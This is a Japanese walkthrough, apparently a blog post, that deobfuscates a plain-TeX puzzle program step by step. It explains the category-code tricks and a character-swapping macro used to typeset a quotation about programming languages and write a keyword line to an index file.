~`I13~`G10\let I~I86G10I83G7I72G1I90V0I78V2I80G6I82G5
I13G9I76G13ZletGLZletI65G13LZSS46ZfSS6fntVLZSS54ZSS6dSS61SS67stSS65pV
ZSS46ZSS62iSS67=SS63mr10VsSS63SS61leSS64VZSS6dagstSS65p4V
ZFZsSS63=SS63mcsSS6310VscSS61SS6cSS65dVZmaSS67SS73tep4V
ZSS46ZbSS66SS3dSS63SS6dSS62SS7810ZrelaSS78V
ZdSS65SS66ZhSS6fP1P2HP2P1NVLAZSS68SS6fV
``HZbSS69gVSS4dNSS6fSS73SS74VprogrSS61SS6dminSS67V
SS6cSS61nguagSS65SS73VaSS72eVSS70arSS74SS6cSS79VSS61VwaSS79VSS6fSS66V
SS65SS78SS70rSS65SS73sSS69SS6egVSS74SS68ingSS73VinVV
SS74SS65SS72SS6dsVSS6fSS66VVSS6fSS74hSS65rVtSS68iSS6eSS67SS73V
andVSS70SS61SS72tSS6cSS79VVSS61VSS62SS61SS73iSS63VSS73eSS74V
SS6fSS66VgSS69SS76SS65SS6eVtSS68SS69ngSS73SS2e''VZvSS73kSS69SS70V10ptV
HZSS73cZSS63aSS74cSS6fde`SS4912VASS73ISS41iSS6dmNViSS73VV
theVHZbfVSS6bSS65SS79SS77ordNVSS6ffVSS74hisVSS71uesSS74ion!V
ZnSS65SS77SS77SS72iSS74SS65ZSS61ZrSS65lSS61SS78V
ZSS6fpenSS6fSS75tZSS61=ZSS6aoSS62nSS61SS6deSS2eidxZSS72eSS6cSS61xV
ZwriteZaHASS61SS4cnA1SS64SS6eVSS69sVSS61nSS6ftSS68eSS72VkeSS79SS77ord!NV
ZclSS6fseSS6fSS75SS74ZSS61ZSS72SS65SS6caxVZbSS79e

2行目

\endlinechar- \string`

は分からない。コメントアウトしても動くから、難読化には関係なさそう。

3行目(と4行目の一部)

~`I13~`G10

~が\catcodeになっているので、これは、

\catcode `I 13
\catcode `G 10

と等価。Iのカテゴリコードを~と同じに、Gのカテゴリコードを空白と同じにしている。Iのカテゴリコードを英文字から変えたことで、\Iではなく、Iだけでコマンドとして使えるようになる。

\let I~

Iに~を代入。今、~は\catcodeなので、I A Bと書くと、\catcode A Bになる。

I86G10I83G7I72G1I90V0I78V2I80G6I82G5
I13G9I76G13

Iが\catcodeでGが空白文字なので、

\catcode 86 10 % V → [ ]
\catcode 83 7 % S → ^
\catcode 72 1 % H → {
\catcode 90 0 % Z → \
\catcode 78 2 % N → }
\catcode 80 6 % P → #
\catcode 82 5 % R → \n
\catcode 13 9 % \r → \0
\catcode 76 13 % L → ~

になる。
Sが^なので、以降、SSnnは0xnnになる。

\futurelet~ \catcode`K7
\endlinechar- \string`
~`I13~`G10\let I~I86G10I83G7I72G1I90V0I78V2I80G6I82G5
I13G9I76G13ZletGLZletI65G13LZFZfontVLZTZmagstepV
ZFZbig=cmr10VscaledVZmagstep4V
ZFZsc=cmcsc10VscaledVZmagstep4V
ZFZbf=cmbx10ZrelaxV
ZdefZhoP1P2HP2P1NVLAZhoV
``HZbigVMNostVprogrammingV
languagesVareVpartlyVaVwayVofV
expressingVthingsVinVV
termsVofVVotherVthingsV
andVpartlyVVaVbasicVsetV
ofVgivenVthings.''VZvskipV10ptV
HZscZcatcode`I12VAsIAimmNVisVV
theVHZbfVkeywordNVofVthisVquestion!V
ZnewwriteZaZrelaxV
ZopenoutZa=Zjobname.idxZrelaxV
ZwriteZaHAaLnA1dnVisVanotherVkeyword!NV
ZcloseoutZaZrelaxVZbye

4行目

ZletGLZlet

 ↓

\let L \let

Lが\letになる。

I65G13

 ↓

\catcode 65 13 % A → ~

あとで、\let A hogeをするため。

LZFZfontVLZTZmagstepV

 ↓

\let \F \font
\let \T \magstep

5-7行目

ZFZbig=cmr10VscaledVZmagstep4V
ZFZsc=cmcsc10VscaledVZmagstep4V
ZFZbf=cmbx10ZrelaxV

 ↓

\F\big=cmr10 scaled \magstep4
\F\sc=cmcsc10 scaled \magstep4 
\F\bf=cmbx10 \relax

8行目

ZdefZhoP1P2HP2P1NVLAZhoV

 ↓

\def \ho #1#2 {#2#1}
\let A \ho

直後の文字を入れ替えるコマンドAを定義している。

9行目以降

``HZbigVMNostVprogrammingV
languagesVareVpartlyVaVwayVofV
expressingVthingsVinVV
termsVofVVotherVthingsV
andVpartlyVVaVbasicVsetV
ofVgivenVthings.''VZvskipV10ptV
HZscZcatcode`I12VAsIAimmNVisVV
theVHZbfVkeywordNVofVthisVquestion!V
ZnewwriteZaZrelaxV
ZopenoutZa=Zjobname.idxZrelaxV
ZwriteZaHAaLnA1dnVisVanotherVkeyword!NV
ZcloseoutZaZrelaxVZbye

 ↓

``{\big M}ost programming 
languages are partly a way of 
expressing things in  
terms of  other things 
and partly  a basic set 
of given things.'' \vskip 10pt 
{\sc\catcode`I12 AsIAimm} is  
the {\bf keyword} of this question! 
\newwrite\a\relax 
\openout\a=\jobname.idx\relax 
\write\a{AaLnA1dn is another keyword!} 
\closeout\a\relax \bye

\catcode`I12でIが英文字に戻り、コマンドAをによって直後の文字が入れ替わるので、

{\sc Ismim}
{Land1n is another keyword!}